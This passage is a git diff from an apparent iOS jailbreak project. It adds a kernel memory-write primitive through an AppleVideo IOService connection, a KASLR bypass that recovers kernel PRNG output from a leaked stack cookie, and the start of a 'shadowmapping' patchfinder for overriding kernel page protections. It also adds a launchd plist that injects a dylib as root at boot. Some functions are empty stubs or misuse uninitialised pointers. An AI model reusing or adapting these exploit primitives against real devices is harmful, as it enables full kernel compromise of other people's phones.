{ + val = asl_get(m, key); + syslog(LOG_ERR, "#%d: val = %s\n", i, val); + ptr = strstr(val, "_setLogLevel:("); + if (ptr != NULL) + { + syslog(LOG_ERR, "%s: %s\n", key, val); + + ptr = ptr + 14; + ptr2 = ptr; + + while (*ptr2 != ')') + ptr2 ++; + + syslog(LOG_ERR, "length = %d\n", (ptr2 - ptr)); + strncpy(addressData, ptr, (ptr2 - ptr)); + goto out; + + } + syslog(LOG_ERR, "%s: %s\n", key, val); + } + } + +out: + aslresponse_free(r); + + if (strlen(addressData) != 0) + { + return strtoul(addressData, NULL, 16); + } + + return 0; +} + +// hack here. if you are not root, please get address from console log first +void set_av_ioservice_addr(uint32_t addr) +{ + g_ioservice_addr = addr; +} + +uint32_t get_av_ioservice_addr() +{ + uint64_t input = 0; + int i; + + if (open_av_device() == 0) + return 0; + + if (g_ioservice_addr != 0) + return g_ioservice_addr; + + for (i = 0; i < 20; i++) + { + // produce some log to retrieve object address + IOConnectCallMethod(g_connection, 0, (uint64_t *)&input, 1, 0, 0, NULL, NULL, NULL, NULL); + sleep(1); + g_ioservice_addr = get_address_from_asl(); + + if (g_ioservice_addr != 0) + break; + } + + syslog(LOG_ERR, "ioservice object address is %p\n", (void *)g_ioservice_addr); + + return g_ioservice_addr; +} + +void write_mem_from_av(uint32_t address, uint32_t value) +{ + uint64_t input[2]; + uint32_t koffset; + uint64_t kaddr; + + if (address % 4 != 0) + { + return; + } + + get_av_ioservice_addr(); + + if (g_ioservice_addr == 0) + return; + + koffset = (address - g_ioservice_addr) - g_addr_offset; + koffset /= 4; + kaddr = 0x80000000 + koffset; + syslog(LOG_ERR, "IOService: 0x%x Address to write: 0x%x Offset: %llx Value: 0x%x\n", + g_ioservice_addr, address, kaddr, value); + + input[0] = kaddr; + input[1] = (uint64_t)value; + + IOConnectCallMethod(g_connection, 1, (uint64_t *)input, 2, 0, 0, NULL, NULL, NULL, NULL); +} + +vm_address_t avio_kernel_get(vm_address_t address) { + +} + +void avio_kernel_set(vm_address_t address, void* value) { + write_mem_from_av(address, value); +} +vm_size_t avio_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} +vm_size_t avio_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + int i = 0; + for(i = 0; i < size; i += 4) { + avio_kernel_set(addr+i, buffer+i); + } + return 0; +} \ No newline at end of file diff --git a/patch/patch/avio.h b/patch/patch/avio.h new file mode 100644 index 0000000..e6fead8 --- /dev/null +++ b/patch/patch/avio.h @@ -0,0 +1,40 @@ +// +// avio.h +// patch +// +// Created by Joshua Hill on 6/6/14. +// +// + +#ifndef patch_avio_h +#define patch_avio_h + +#include +#include +#include +#include +#include +#include +#include + +//kern.osversion +#define VALID_VERSION "13D65" + +void write_mem_from_av(uint32_t address, uint32_t value); + +void close_av_device(); + +io_connect_t open_av_device(); +uint32_t get_address_from_asl(); +void set_av_ioservice_addr(uint32_t addr); + +uint32_t get_av_ioservice_addr(); + +void write_mem_from_av(uint32_t address, uint32_t value); + +vm_address_t avio_kernel_get(vm_address_t address); +void avio_kernel_set(vm_address_t address, void* value); +vm_size_t avio_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t avio_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/com.sudo-sec.patch.plist b/patch/patch/com.sudo-sec.patch.plist new file mode 100644 index 0000000..a2ac55a --- /dev/null +++ b/patch/patch/com.sudo-sec.patch.plist @@ -0,0 +1,23 @@ + + + + + KeepAlive + + EnvironmentVariables + + DYLD_INSERT_LIBRARIES + /Developer/patch.dylib + + Label + com.sudo-sec.patch + ProgramArguments + + /sbin/mount + + UserName + root + RunAtLoad + + + diff --git a/patch/patch/command.c b/patch/patch/command.c new file mode 100644 index 0000000..46b34fa --- /dev/null +++ b/patch/patch/command.c @@ -0,0 +1,142 @@ +/** + * libmacho-1.0 - command.c + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#include +#include +#include + + +//#define _DEBUG +#include "debug.h" +#include "command.h" + +macho_command_t* macho_command_create(void); +macho_command_info_t* macho_command_info_create(void); + +/* + * Mach-O Command Functions + */ +macho_command_t* macho_command_create() { + macho_command_t* command = (macho_command_t*) malloc(sizeof(macho_command_t)); + if (command) { + memset(command, '\0', sizeof(macho_command_t)); + } + return command; +} +/* +#define MACHO_CMD_SEGMENT 0x1 // segment of this file to be mapped +#define MACHO_CMD_SYMTAB 0x2 // link-edit stab symbol table info +#define MACHO_CMD_SYMSEG 0x3 // link-edit gdb symbol table info (obsolete) +#define MACHO_CMD_THREAD 0x4 // thread +#define MACHO_CMD_UNIXTHREAD 0x5 // unix thread (includes a stack) +#define MACHO_CMD_LOADFVMLIB 0x6 // load a specified fixed VM shared library +#define MACHO_CMD_IDFVMLIB 0x7 // fixed VM shared library identification +#define MACHO_CMD_IDENT 0x8 // object identification info (obsolete) +#define MACHO_CMD_FVMFILE 0x9 // fixed VM file inclusion (internal use) +#define MACHO_CMD_PREPAGE 0xA // prepage command (internal use) +#define MACHO_CMD_DYSYMTAB 0xB // dynamic link-edit symbol table info +#define MACHO_CMD_LOAD_DYLIB 0xC // load a dynamically linked shared library +#define MACHO_CMD_ID_DYLIB 0xD // dynamically linked shared lib ident +#define MACHO_CMD_LOAD_DYLINKER 0xE // load a dynamic linker +#define MACHO_CMD_ID_DYLINKER 0xF // dynamic linker identification +#define MACHO_CMD_PREBOUND_DYLIB 0x10 // modules prebound for a dynamically linked shared library +#define MACHO_CMD_ROUTINES 0x11 // image routines +#define MACHO_CMD_SUB_FRAMEWORK 0x12 // sub framework +#define MACHO_CMD_SUB_UMBRELLA 0x13 // sub umbrella +#define MACHO_CMD_SUB_CLIENT 0x14 // sub client +#define MACHO_CMD_SUB_LIBRARY 0x15 // sub library +#define MACHO_CMD_TWOLEVEL_HINTS 0x16 // two-level namespace lookup hints +#define MACHO_CMD_PREBIND_CKSUM 0x17 // prebind checksum +*/ +macho_command_t* macho_command_load(unsigned char* data, uint32_t offset) { + uint32_t size = 0; + macho_command_t* command = macho_command_create(); + if(command == NULL) { + error("Unable to create command\n"); + return NULL; + } + + macho_command_info_t* info = macho_command_info_load(data, offset); //(macho_command_info_t*) &data[offset]; + if (info) { + command->info = info; + command->cmd = info->cmd; + command->size = info->cmdsize; + command->data = data; + command->offset = offset; + } + + return command; +} + +void macho_command_debug(macho_command_t* command) { + if (command) { + debug("\tCommand:\n"); + if(command->info) { + macho_command_info_debug(command->info); + } + debug("\t\n"); + } +} + +void macho_command_free(macho_command_t* command) { + if(command) { + if(command->info) { + macho_command_info_free(command->info); + command->info = NULL; + } + free(command); + } +} + +/* + * Mach-O Command Info Functions + */ +macho_command_info_t* macho_command_info_create() { + macho_command_info_t* info = (macho_command_info_t*) malloc(sizeof(macho_command_info_t)); + if (info) { + debug("Mach-O Command Info Created\n"); + memset(info, '\0', sizeof(macho_command_info_t)); + } + return info; +} + +macho_command_info_t* macho_command_info_load(unsigned char* data, uint32_t offset) { + macho_command_info_t* info = (macho_command_info_t*)macho_command_info_create(); + if (info) { + debug("Mach-O Command Info Loaded\n"); + memcpy(info, data+offset, sizeof(macho_command_info_t)); + //macho_command_info_debug(info); + } + return info; +} + +void macho_command_info_debug(macho_command_info_t* info) { + if (info) { + debug("\tInfo:\n"); + debug("\t\t cmd = %d\n", info->cmd); + debug("\t\tcmdsize = %d\n", info->cmdsize); + debug("\t\n"); + } +} + +void macho_command_info_free(macho_command_info_t* info) { + if (info) { + free(info); + } +} diff --git a/patch/patch/command.h b/patch/patch/command.h new file mode 100644 index 0000000..882f618 --- /dev/null +++ b/patch/patch/command.h @@ -0,0 +1,78 @@ +/** + * libmacho-1.0 - command.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef MACHO_COMMAND_H_ +#define MACHO_COMMAND_H_ + +#define MACHO_CMD_SEGMENT 0x1 // segment of this file to be mapped +#define MACHO_CMD_SYMTAB 0x2 // link-edit stab symbol table info +#define MACHO_CMD_SYMSEG 0x3 // link-edit gdb symbol table info (obsolete) +#define MACHO_CMD_THREAD 0x4 // thread +#define MACHO_CMD_UNIXTHREAD 0x5 // unix thread (includes a stack) +#define MACHO_CMD_LOADFVMLIB 0x6 // load a specified fixed VM shared library +#define MACHO_CMD_IDFVMLIB 0x7 // fixed VM shared library identification +#define MACHO_CMD_IDENT 0x8 // object identification info (obsolete) +#define MACHO_CMD_FVMFILE 0x9 // fixed VM file inclusion (internal use) +#define MACHO_CMD_PREPAGE 0xA // prepage command (internal use) +#define MACHO_CMD_DYSYMTAB 0xB // dynamic link-edit symbol table info +#define MACHO_CMD_LOAD_DYLIB 0xC // load a dynamically linked shared library +#define MACHO_CMD_ID_DYLIB 0xD // dynamically linked shared lib ident +#define MACHO_CMD_LOAD_DYLINKER 0xE // load a dynamic linker +#define MACHO_CMD_ID_DYLINKER 0xF // dynamic linker identification +#define MACHO_CMD_PREBOUND_DYLIB 0x10 // modules prebound for a dynamically linked shared library +#define MACHO_CMD_ROUTINES 0x11 // image routines +#define MACHO_CMD_SUB_FRAMEWORK 0x12 // sub framework +#define MACHO_CMD_SUB_UMBRELLA 0x13 // sub umbrella +#define MACHO_CMD_SUB_CLIENT 0x14 // sub client +#define MACHO_CMD_SUB_LIBRARY 0x15 // sub library +#define MACHO_CMD_TWOLEVEL_HINTS 0x16 // two-level namespace lookup hints +#define MACHO_CMD_PREBIND_CKSUM 0x17 // prebind checksum + + +typedef struct macho_command_info_t { + uint32_t cmd; + uint32_t cmdsize; +} macho_command_info_t; + +typedef struct macho_command_t { + uint32_t cmd; + uint32_t size; + uint32_t index; + uint32_t offset; + unsigned char* data; + macho_command_info_t* info; +} macho_command_t; + +/* + * Mach-O Command Functions +*/ +macho_command_t* macho_command_create(); +macho_command_t* macho_command_load(unsigned char* data, uint32_t offset); +void macho_command_debug(macho_command_t* command); +void macho_command_free(macho_command_t* command); + +/* + * Mach-O Command Info Functions + */ +macho_command_info_t* macho_command_info_create(); +macho_command_info_t* macho_command_info_load(unsigned char* data, uint32_t offset); +void macho_command_info_debug(macho_command_info_t* info); +void macho_command_info_free(macho_command_info_t* info); + +#endif /* MACHO_COMMAND_H_ */ diff --git a/patch/patch/dangu.c b/patch/patch/dangu.c new file mode 100644 index 0000000..1dec847 --- /dev/null +++ b/patch/patch/dangu.c @@ -0,0 +1,38 @@ +// +// dangu.c +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include +#include +#include +#include +#include + +#include "kernel.h" + +int dangu_exploit(void* kernel) { + kernel_t* kern = (kernel_t*)kernel; + + return 0; +} + +vm_address_t dangu_kernel_get(vm_address_t address) { + return 0; +} + +void dangu_kernel_set(vm_address_t address, void* value) { + return; +} + +vm_size_t dangu_kernel_read(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} + +vm_size_t dangu_kernel_write(vm_address_t addr, void* buffer, vm_size_t size) { + return 0; +} \ No newline at end of file diff --git a/patch/patch/dangu.h b/patch/patch/dangu.h new file mode 100644 index 0000000..94cc6c6 --- /dev/null +++ b/patch/patch/dangu.h @@ -0,0 +1,26 @@ +// +// dangu.h +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#ifndef patch_dangu_h +#define patch_dangu_h + +#include +#include +#include +#include +#include +#include + +int dangu_exploit(void* kernel); + +vm_address_t dangu_kernel_get(vm_address_t address); +void dangu_kernel_set(vm_address_t address, void* value); +vm_size_t dangu_kernel_read(vm_address_t addr, void* buffer, vm_size_t size); +vm_size_t dangu_kernel_write(vm_address_t addr, void* buffer, vm_size_t size); + +#endif diff --git a/patch/patch/debug.h b/patch/patch/debug.h new file mode 100644 index 0000000..48014b8 --- /dev/null +++ b/patch/patch/debug.h @@ -0,0 +1,42 @@ +/** + * libcrippy-1.0 - debug.h + * Copyright (C) 2013 Crippy-Dev Team + * Copyright (C) 2010-2013 Joshua Hill + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + **/ + +#ifndef DEBUG_H_ +#define DEBUG_H_ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#ifdef _DEBUG +#define info(...) syslog(LOG_ERR, __VA_ARGS__) +#define error(...) syslog(LOG_ERR, __VA_ARGS__) +#define debug(...) syslog(LOG_ERR, __VA_ARGS__) +#else +#define info(...) syslog(LOG_ERR, __VA_ARGS__) +#define error(...) syslog(LOG_ERR, __VA_ARGS__) +#define debug(...) +#endif + +void hexdump(unsigned char* buf, unsigned int len); + +#endif /* DEBUG_H_ */ diff --git a/patch/patch/devtree.c b/patch/patch/devtree.c new file mode 100644 index 0000000..3c41f93 --- /dev/null +++ b/patch/patch/devtree.c @@ -0,0 +1,88 @@ +// +// main.c +// kaslr_slide +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "kernel.h" + +io_service_t devtree_get_service(const char *name) { + CFMutableDictionaryRef matching; + io_service_t service = 0; + + matching = IOServiceMatching(name); + if(matching == NULL) { + return 0; + } + + while(!service) { + CFRetain(matching); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + if(service) break; + + sleep(1); + CFRelease(matching); + } + + CFRelease(matching); + return service; +} + +vm_address_t devtree_get_bootargs() { + void* bootargs = 0; + unsigned char buf[sizeof(unsigned long)*4]; + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("device-tree")); + if(service) { + CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR("IOPlatformArgs"), kCFAllocatorDefault, 0); + if(macData != NULL) { + CFDataGetBytes(macData, CFRangeMake(0,sizeof(buf)), buf); + + bootargs = *(unsigned long*)&buf[sizeof(unsigned long)]; + + CFRelease(macData); + IOObjectRelease(service); + } + IOObjectRelease(service); + } + return bootargs; +} + +vm_address_t devtree_get_base(kernel_t* kernel) { + syslog(LOG_ERR, "Entering devtree_get_base"); + void* bootargs = devtree_get_bootargs(); + syslog(LOG_ERR, "Found Boot-Args at %p", bootargs); + vm_address_t kernbase = kernel->get(bootargs+4); + if (kernel->get(kernbase) == 0xFEEDFACE) { + syslog(LOG_ERR, "Hello Kernel!! :-) 0x%08lx", kernel->get(kernbase)); + syslog(LOG_ERR, "0x%08lx", kernbase); + } else { + syslog(LOG_ERR, "Goodbye Kernel :-( 0x%08lx", kernel->get(kernbase)); + } + + return kernbase+0x1000; +} + +vm_offset_t devtree_get_slide(kernel_t* kernel) { + return 0; +} + diff --git a/patch/patch/devtree.h b/patch/patch/devtree.h new file mode 100644 index 0000000..afac85c --- /dev/null +++ b/patch/patch/devtree.h @@ -0,0 +1,23 @@ +// +// devicetree.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_devicetree_h +#define chop_devicetree_h + +#include +#include +#include + +#include "kernel.h" + +vm_address_t devtree_get_bootargs(); +vm_offset_t devtree_get_slide(kernel_t* kernel); +vm_address_t devtree_get_base(kernel_t* kernel); + + +#endif diff --git a/patch/patch/earlyrandom.c b/patch/patch/earlyrandom.c new file mode 100644 index 0000000..ee15094 --- /dev/null +++ b/patch/patch/earlyrandom.c @@ -0,0 +1,230 @@ +// +// earlyrandom.c +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#include +#include + +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "kernel.h" +#include "earlyrandom.h" + +static uint64_t +get_prev_output( uint64_t output, uint8_t bits, uint32_t n ) +{ + uint32_t i, j; + uint64_t s, sa[4]; + // Only lower 19 bits of input state needed + s = ( output & 0xffff ) << 3 | bits; + // Go back to starting state of current output + for ( j = 0; j < 3; j++ ) + { + s = ( s - 12345 ) * 125797; + } + // Backtrack n outputs (four LCG rounds per output) + for ( i = 0; i < n; i++ ) + { + for ( j = 0; j < 4; j++ ) + { + s = sa[j] = ( s - 12345 ) * 125797; + } + } + return ( ( sa[0] >> 3 ) & 0xffff ) | + ( ( ( sa[1] >> 3 ) << 16 ) & 0xffff0000 ) | + ( ( ( sa[2] >> 3 ) << 32 ) & 0xffff00000000 ) | + ( ( ( sa[3] >> 3 ) << 48 ) & 0xffff000000000000 ); +} + +static uint64_t +get_next_output( uint64_t output, uint8_t bits, uint32_t n ) +{ + uint32_t i, j; + uint64_t s, sa[4]; + // Only lower 19 bits of input state needed + s = ( output & 0xffff ) << 3 | bits; + // Skip ahead n outputs + for ( i = 0; i < n; i++ ) + { + // Four LCG rounds per output + for ( j = 0; j < 4; j++ ) + { + s = sa[j] = 1103515245 * s + 12345; + } + } + return ( ( sa[3] >> 3 ) & 0xffff ) | + ( ( ( sa[2] >> 3 ) << 16 ) & 0xffff0000 ) | + ( ( ( sa[1] >> 3 ) << 32 ) & 0xffff00000000 ) | + ( ( ( sa[0] >> 3 ) << 48 ) & 0xffff000000000000 ); +} + +static uint64_t +get_output( uint64_t output, uint8_t bits, int n ) +{ + if (n < 0) { + return get_prev_output(output, bits, -n); + } + if (n > 0) { + return get_next_output(output, bits, n); + } + if (n == 0) { + return output; + } + return 0; +} + +static int recover_prng_output_64(uint64_t pointer, uint64_t *output, uint8_t *weak) +{ + uint64_t state_1, state_2, state_3, state_4; + uint64_t value_c; + uint8_t bits, carry; + + // Brute force carry bit + for (carry = 0; carry < 2; carry++) + { + value_c = (pointer - (carry * 0x100000000)) - 0xffffff8000000000; + // Brute force the least significant bits of the state, + // discarded from the PRNG output + for (bits = 0; bits < 8; bits++) + { + state_1 = (((value_c >> 48) & 0xffff) << 3) | bits; + state_2 = 1103515245 * state_1 + 12345; + if (((state_2 >> 3) & 0xffff) == ((value_c >> 32) & 0xffff)) + { + // Compute the full PRNG output + state_3 = 1103515245 * state_2 + 12345; + state_4 = 1103515245 * state_3 + 12345; + *output = (((state_1 >> 3) & 0xffff) << 48) | + (((state_2 >> 3) & 0xffff) << 32) | + (((state_3 >> 3) & 0xffff) << 16) | + (((state_4 >> 3) & 0xffff)); + *weak = state_4 & 7; + return 1; + } + } + } + return 0; +} + +static int recover_prng_output_32(uint32_t value, uint64_t *output, uint8_t *weak, uint16_t mask, uint8_t *startbit) +{ + uint64_t state_1, state_2, state_3, state_4; + uint64_t value_c; + uint8_t bits; + + value_c = value; + + for (bits = *startbit; bits < 8; bits ++) + { + state_1 = (((value_c >> 16) & 0xffff) << 3) | bits; + state_2 = 1103515245 * state_1 + 12345; + if ((((state_2 >> 3) & mask)) == ((value_c) & mask)) + { + *output = (((state_1 >> 3) & 0xffff) << 16 ) | + (((state_2 >> 3) & 0xffff) << 0); + *weak = state_2 & 7; + *startbit = bits; + return 1; + } + } + return 0; +} + +bool get_all_kernel_slides(vm_address_t *pKrnlBase, vm_address_t *pVmPerm) +{ + CFMutableDictionaryRef matching = IOServiceMatching("AppleKeyStore"); + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + io_connect_t connection; + kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connection); + if (kr != KERN_SUCCESS) + return false; + + unsigned int type; + mach_vm_address_t obj_addr = 0; + mach_port_kobject(mach_task_self(), connection, &type, &obj_addr); + + uint64_t output[50] = {0}; + uint32_t outputCount = 50; + + kr = IOConnectCallMethod(connection, 0, NULL, 0, NULL, 0, output, &outputCount, NULL, NULL); + IOServiceClose(connection); + if (kr != KERN_SUCCESS) + return false; + + vm_address_t *stack_addr = (vm_address_t *)output; + + uint64_t prng; + uint8_t weak; + vm_address_t vm_perm; + vm_address_t krnl_base; + int ret = 0; + +#ifndef __LP64__ + uint8_t bits = 0; + uint32_t stack_cookie = stack_addr[18]; + krnl_base = (stack_addr[8] & 0xffe00000) + 0x1000; + if (stack_addr[1] == 0) + krnl_base = (stack_addr[9] & 0xffe00000) + 0x1000; + // 通过规律查找 + // for (int i=0; i<32; i++) + // { + // if (stack_addr[i] == 0x7010001) + // krnl_base = (stack_addr[i + 5] & 0xffe00000) + 0x1000; + // if (stack_addr[i] == 0x1694) + // stack_cookie = stack_addr[i - 4]; + // } + ret = recover_prng_output_32(stack_cookie, &prng, &weak, 0x00ff, &bits); + vm_perm = get_output(prng, weak, 6) | 1; + + syslog(LOG_ERR, "get lr %x stack %x vmperm %x ret %x", stack_addr[8], stack_cookie, vm_perm, ret); +#else + ret = recover_prng_output_64((uint64_t)obj_addr, &prng, &weak); + krnl_base = (stack_addr[10] & 0xffffff80ffe00000) + 0x2000; + vm_perm = prng | 1; + // 通过规律查找 + // for (int i=0; i<16; i++) + // { + // if (stack_addr[i] == 0x151300000000) + // krnl_base = (stack_addr[i - 1] & 0xffffff80ffe00000) + 0x2000; + // } + + for (int i=0; i<16; i++) + NSLog(@"%d: %p", i, stack_addr[i]); +#endif + + if (ret == 0) + return false; + + *pKrnlBase = krnl_base; + *pVmPerm = vm_perm; + + syslog(LOG_ERR, "Get kernel address %p vmperm %p", (void *)krnl_base, (void *)vm_perm); + + + return true; +} + +vm_offset_t earlyrandom_get_slide(kernel_t* kernel) { + return 0; +} + +vm_address_t earlyrandom_get_base(kernel_t* kernel) { + vm_address_t *krnl_base; + vm_address_t *vm_perm; + if(get_all_kernel_slides(krnl_base, vm_perm)) { + return krnl_base; + } + return 0; +} \ No newline at end of file diff --git a/patch/patch/earlyrandom.h b/patch/patch/earlyrandom.h new file mode 100644 index 0000000..acb0ae3 --- /dev/null +++ b/patch/patch/earlyrandom.h @@ -0,0 +1,19 @@ +// +// earlyrandom.h +// patch +// +// Created by Joshua Hill on 7/22/14. +// +// + +#ifndef patch_earlyrandom_h +#define patch_earlyrandom_h + +#include + +#include "kernel.h" + +vm_offset_t earlyrandom_get_slide(kernel_t* kernel); +vm_address_t earlyrandom_get_base(kernel_t* kernel); + +#endif diff --git a/patch/patch/find.c b/patch/patch/find.c new file mode 100644 index 0000000..133d229 --- /dev/null +++ b/patch/patch/find.c @@ -0,0 +1,1489 @@ +/* + * Shadowmapping, a way of bypassing iOS 'kernel page bits protection'. + * (ARM32 only for now obviously.) + * + * Also a very nice and easy way of copying data in and out of kernel memory + * by breaking the barrier entirely. Thank you TTBCR and split TTBR0/TTBR1!<3 + * + * Control flow goes like this if you have a write anywhere exploit: + * + * - Find location of kernel_pmap (dereference to get kernel_pmap_store.) + * - Get virtual address of TTE base (struct is as follows... + * typedef struct __pmap_t { + * uint32_t tte_virt; + * uint32_t tte_phys; + * ..... + * } pmap_t; + * + * - Write TTE entries. + * - Own the kernel. + * - ??? + * - PROFIT. + * + * with love from @winocm, greets to @planetbeing for patchfinder. + * + * Optimally, this would be best done with a write/read kernel exploit primitive set, + * however, you can do this with a write-only one if you use static offsets (which will work, + * as the kernel isn't randomized in physical memory space.) + */ + +#include +#include +#include +#include +#include + +#include "find.h" +#include "kernel.h" +#include "macho.h" + +//static mach_port_t kernel_task = 0; +static uint32_t ttb_template[TTB_SIZE] = {}; +static void* ttb_template_ptr = &ttb_template[0]; +//static uint32_t kernel_base = DEFAULT_KERNEL_SLIDE; + +typedef struct pmap_partial_t { + uint32_t tte_virt; + uint32_t tte_phys; + /* ... */ +} pmap_partial_t; + +static uint32_t bit_range(uint32_t x, int start, int end) +{ + x = (x << (31 - start)) >> (31 - start); + x = (x >> end); + return x; +} + +static uint32_t ror(uint32_t x, int places) +{ + return (x >> places) | (x << (32 - places)); +} + +static int thumb_expand_imm_c(uint16_t imm12) +{ + if(bit_range(imm12, 11, 10) == 0) + { + switch(bit_range(imm12, 9, 8)) + { + case 0: + return bit_range(imm12, 7, 0); + case 1: + return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0); + case 2: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8); + case 3: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0); + default: + return 0; + } + } else + { + uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0); + return ror(unrotated_value, bit_range(imm12, 11, 7)); + } +} + +static int insn_is_32bit(uint16_t* i) +{ + return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0; +} + +static int insn_is_bl(uint16_t* i) +{ + if((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000) + return 1; + else if((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000) + return 1; + else + return 0; +} + +static uint32_t insn_bl_imm32(uint16_t* i) +{ + uint16_t insn0 = *i; + uint16_t insn1 = *(i + 1); + uint32_t s = (insn0 >> 10) & 1; + uint32_t j1 = (insn1 >> 13) & 1; + uint32_t j2 = (insn1 >> 11) & 1; + uint32_t i1 = ~(j1 ^ s) & 1; + uint32_t i2 = ~(j2 ^ s) & 1; + uint32_t imm10 = insn0 & 0x3ff; + uint32_t imm11 = insn1 & 0x7ff; + uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0); + return imm32; +} + +static int insn_is_b_conditional(uint16_t* i) +{ + return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE; +} + +static int insn_is_b_unconditional(uint16_t* i) +{ + if((*i & 0xF800) == 0xE000) + return 1; + else if((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9) + return 1; + else + return 0; +} + +static int insn_is_ldr_literal(uint16_t* i) +{ + return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F; +} + +static int insn_ldr_literal_rt(uint16_t* i) +{ + if((*i & 0xF800) == 0x4800) + return (*i >> 8) & 7; + else if((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_ldr_literal_imm(uint16_t* i) +{ + if((*i & 0xF800) == 0x4800) + return (*i & 0xF) << 2; + else if((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1); + else + return 0; +} + +// TODO: More encodings +static int insn_is_ldr_imm(uint16_t* i) +{ + uint8_t opA = bit_range(*i, 15, 12); + uint8_t opB = bit_range(*i, 11, 9); + + return opA == 6 && (opB & 4) == 4; +} + +static int insn_ldr_imm_rt(uint16_t* i) +{ + return (*i & 7); +} + +static int insn_ldr_imm_rn(uint16_t* i) +{ + return ((*i >> 3) & 7); +} + +static int insn_ldr_imm_imm(uint16_t* i) +{ + return ((*i >> 6) & 0x1F); +} + +// TODO: More encodings +static int insn_is_ldrb_imm(uint16_t* i) +{ + return (*i & 0xF800) == 0x7800; +} + +static int insn_ldrb_imm_rt(uint16_t* i) +{ + return (*i & 7); +} + +static int insn_ldrb_imm_rn(uint16_t* i) +{ + return ((*i >> 3) & 7); +} + +static int insn_ldrb_imm_imm(uint16_t* i) +{ + return ((*i >> 6) & 0x1F); +} + +static int insn_is_ldr_reg(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return 1; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return 1; + else + return 0; +} + +static int insn_ldr_reg_rn(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return (*i >> 3) & 0x7; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*i & 0xF); + else + return 0; +} + +int insn_ldr_reg_rt(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return *i & 0x7; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +int insn_ldr_reg_rm(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return (*i >> 6) & 0x7; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_ldr_reg_lsl(uint16_t* i) +{ + if((*i & 0xFE00) == 0x5800) + return 0; + else if((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 4) & 0x3; + else + return 0; +} + +static int insn_is_add_reg(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return 1; + else if((*i & 0xFF00) == 0x4400) + return 1; + else if((*i & 0xFFE0) == 0xEB00) + return 1; + else + return 0; +} + +static int insn_add_reg_rd(uint16_t* i) +{ + if((*i & 0xFE00) == 0x1800) + return (*i & 7); + else 